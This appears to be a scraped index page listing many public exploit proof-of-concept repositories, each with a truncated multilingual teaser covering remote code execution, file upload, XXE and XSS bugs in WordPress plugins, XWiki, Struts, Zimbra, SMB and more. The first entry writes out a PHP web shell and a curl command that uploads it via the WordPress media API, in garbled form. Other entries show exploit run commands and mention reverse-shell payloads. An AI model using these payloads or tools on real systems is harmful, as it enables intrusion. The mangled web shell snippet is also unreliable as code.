CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 上传到上传文件夹后利用 shell：...

CVE-2024-1642470

Vulnerabilidad de ejecución remota de código en el controlador principal genérico USB de Windows CVE-2024-1642470 Descripción general Este repositorio contiene un código de explotación de prueba de concepto PoC y un script de detección para la vulnerabilidad de ejecución remota de código en el...

CVE-2023-42793

CVE-2023-42793 教育目的のみ CVE-2023-42793 の PoC 使用方法 CVE-2023-42793admin.sh: root@kitploit: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port 動作確認画像: 使用方法 CVE-2023-42793rce.sh: root@kitploit: chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh ip/domainname port command 動作確認...

zoneminder-snapshots-rce-poc

Zoneminder 通过快照的未授权远程代码执行 CVE-2023-26035 POC 这是一个用Python编写的脚本，允许利用Zoneminder 的安全漏洞，该漏洞描述于CVE-2023-26035 。该系统在1.36.33 和1.37.33 之前的版本中易受攻击。 使用方法 克隆仓库到你的机器，并使用pip 安装依赖项（建议使用virtualenv 创建一个环境，将这些安装与全局安装隔离开来） root@kitploit: git clone https://github.com/m3m0o/zoneminder-snapshots-rce-poc cd...

CVE-2024-34102

CVE-2024-34102 Adobe Commerce 版本 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 及更早版本受到 XML 外部实体引用（'XXE'）不当限制漏洞的影响，可能导致任意代码执行。攻击者可以通过发送一个引用外部实体的特制 XML 文档来利用此漏洞。利用此问题无需用户交互。 安装与执行脚本 💻 前提条件 在开始之前，请确保您的机器上已安装以下工具： Python 3.x Git pip （用于管理 Python 依赖项） 安装步骤 1. 克隆仓库 使用 git 克隆仓库： root@kitploit: git clone...

CVE-2023-30547

CVE-2023-30547 漏洞描述 vm2 是一个沙箱，可以使用白名单中的 Node 内置模块运行不受信任的代码。 在版本不超过 3.9.16 的 vm2 中，异常净化（exception sanitization）存在一个漏洞，允许攻击者在 handleException 内部引发未经净化的主机异常，从而利用该异常逃逸沙箱并在主机上下文中执行任意代码。 CVE-2023-30547.py 该工具是一个简单的 Python 脚本，可用于探索此漏洞。它有 4 种模式： check：检查目标是否存在漏洞。 commandexecutionexecution：在目标上执行命令。...

CVE-2023-43342-Quick-CMS-Stored-XSS---Languages-Frontend

Quick CMS 存储型 XSS v6.7 作者：（Sergio） 描述： Quick CMS v6.7 中存在一个跨站脚本（XSS）漏洞，允许本地攻击者通过向“语言菜单”（Languages Menu）中的“前端和后端 - 页面”（Front and back end - Pages）注入特制脚本来执行任意代码。 攻击向量： 脚本注入——“语言 - 前端和后端”（Languages - Front and back end）中“页面”（Pages）条目的净化机制存在漏洞，允许注入 JavaScript 代码，当用户访问该网页时将执行此代码。 POC：...

CVE-2024-50493

CVE-2024-50493 Automatic Translation = 1.0.4 - Carga Arbitraria de Archivos No Autenticada Descripción: El plugin Automatic Translation para WordPress es vulnerable a cargas arbitrarias de archivos debido a la falta de validación del tipo de archivo en todas las versiones hasta la 1.0.4 inclusive...

CVE-2024-22891

Nteract PoC CVE-2024-22891 漏洞的概念验证（Proof-of-Concept）。 nteract 0.28.0 允许通过 Markdown 链接使用 Electron Webview，从而导致远程代码执行。 该存储库中包含一个存在漏洞的示例应用及其概念验证（POC）利用代码。 作为 PoC，其中提供了一个可自动完成该过程的 Python 文件。 1. 漏洞概述： 漏洞主题：Markdown 链接 RCE 漏洞类型：其他：开放重定向（Open Redirect） 问题表现：Electron Webview 受影响组件：markdown...

CVE-2022-24112-POC

CVE-2022-24112-POC Apache APISIX 2.12.1 远程代码执行，通过绕过IP限制并使用默认管理API令牌 完整指南 https://kavigihan.medium.com/apache-apisix-2-12-1-remote-code-execution-5f920b22ccff...

IngressNightmare-PoC

Ingress NGINX - IngressNightmare 向けエクスプロイト このプロジェクトは、IngressNightmare と総称される、Kubernetes の Ingress NGINX Controller における重大な 認証なしリモートコード実行 RCE の脆弱性を標的としたエクスプロイトを提供します。（Wiz による研究） 元の研究では、Wiz チームは PoC や実用的なエクスプロイトを公開していなかったため、私たち自身で作成し、コミュニティと共有することにしました。 概要 Ingress NGINX Controller は Kubernetes...

CVE-2022-27925

Zimbra 未認証リモートコード実行エクスプロイト CVE-2022-27925...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-by-skdevils 漏洞利用标题：Pluck CMS 4.7.16 - 远程代码执行 RCE 需认证 日期：2022年3月13日 漏洞利用作者：Ashish Koli Shikari 厂商主页：https://github.com/pluck-cms/pluck 版本：4.7.16 测试于：Ubuntu 20.04.3 LTS CVE：CVE-2022-26965...

CVE-2014-6287

CVE-2014-6287 - Rejetto HTTP 文件服务器 RCE 利用工具 一个用 Rust 实现的 CVE-2014-6287 漏洞利用工具，针对 Rejetto HTTP 文件服务器（HFS）2.3x 版本（低于 2.3c）。 漏洞概述 CVE-2014-6287 是 Rejetto HTTP 文件服务器（HFS）中的一个严重远程代码执行漏洞。 技术细节 受影响软件 ：Rejetto HTTP 文件服务器（HFS）2.3x 版本（低于 2.3c） 漏洞类型 ：远程代码执行（RCE） CVSS 评分 ：10.0（严重） CWE ：CWE-94（代码生成控制不当） 描述...

cve-2025-24893

CVE-2025-24893 XWiki RCE 漏洞利用 一个简单的 Python3 脚本，用于利用 CVE-2025-24893 （XWiki 平台中的一个远程代码执行漏洞），使用基于 Groovy 的异步宏和可配置的反向 Shell 载荷。 ⚠️ 警告： 该工具仅供教育和授权测试目的 使用。未经授权针对您不拥有或未经明确许可测试的系统使用是非法且不道德的。 目录 功能特性 需求 安装 使用 检测与协议回退 反向 Shell 载荷 许可证 免责声明 功能特性 ✅ 自动检测目标是否支持 HTTPS 或 HTTP ✅ 构建 Groovy ProcessBuilder 片段以避免...

CVE-2024-53677

CVE-2024-53677 - Apache Struts 2 リモートコード実行脆弱性 RCE 再現環境 このリポジトリは、Apache Struts 2 における CVE-2024-53677 脆弱性を再現するためのコンテナベース環境を提供します。この脆弱性はパストラバーサルを伴い、Struts 2 のファイルアップロード機能を介して任意のコード実行 RCE を可能にします。 セットアップ手順 環境は Podman を使用して構築および実行できます。アプリケーションをセットアップするには、以下の手順に従ってください。 root@kitploit: git clone...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814和CNNVD-201904-961 感谢t00ls-ximcx0101提供脚本 CNVD-C-2019-48814 POC Summary 相关链接如下: 清水川崎大佬的简书: https://www.jianshu.com/p/c4982a845f55 安全祖师爷转发: https://dwz.cn/2GQvbUae 由于环境的一些因素路径会存在变化: 默认上传路径为: servers/AdminServer/tmp/WLinternal/beawls9asyncresponse/8tpkys/war/...

CVE-2017-3881-Cisco

CVE-2017-3881 Cisco Catalyst RCE 概念验证 2017年4月10日 你的 Catalyst 交换机上还开着 telnet 吗？三思而后行，这里有一个针对 Catalyst 2960 交换机（运行最新建议固件）的远程代码执行概念验证漏洞利用。点击此处查看漏洞利用代码。接下来是对该漏洞利用开发过程的详细描述，该漏洞于2017年3月7日从 CIA 档案中泄露，并于2017年3月17日由 Cisco Systems 公开披露。撰写本文时尚无补丁可用。不过有一种补救措施——禁用 telnet 并改用 SSH。 Vault 7 CIA 泄露 一系列 CIA...

CVE-2026-93993

Mistral Vibe before 2.25.5 contains a remote code execution vulnerability in its worktree creation process . The root cause is that git hooks are executed before trust validation , allowing an attacker to supply a repository with a crafted post-checkout hook that runs arbitrary shell commands wit...

CVE-2020-0796

CVE-2020-0796：SMBGhost - 分析与伦理利用 简介 CVE-2020-0796，又称“SMBGhost”，是一种影响 Microsoft Windows 操作系统的严重安全漏洞。它属于“可蠕虫传播”类别，意味着它可以在网络连接的系统中快速传播。该漏洞存在于 Microsoft 的服务器消息块（SMB）协议中，该协议负责文件与打印机共享。利用此漏洞可以在易受攻击的服务器上远程执行代码，可能导致系统完全被攻陷。 关键要点快速总结 漏洞名称： CVE-2020-0796，“SMBGhost”，“EternalDarkness”。 漏洞类型： 远程代码执行（RCE）。...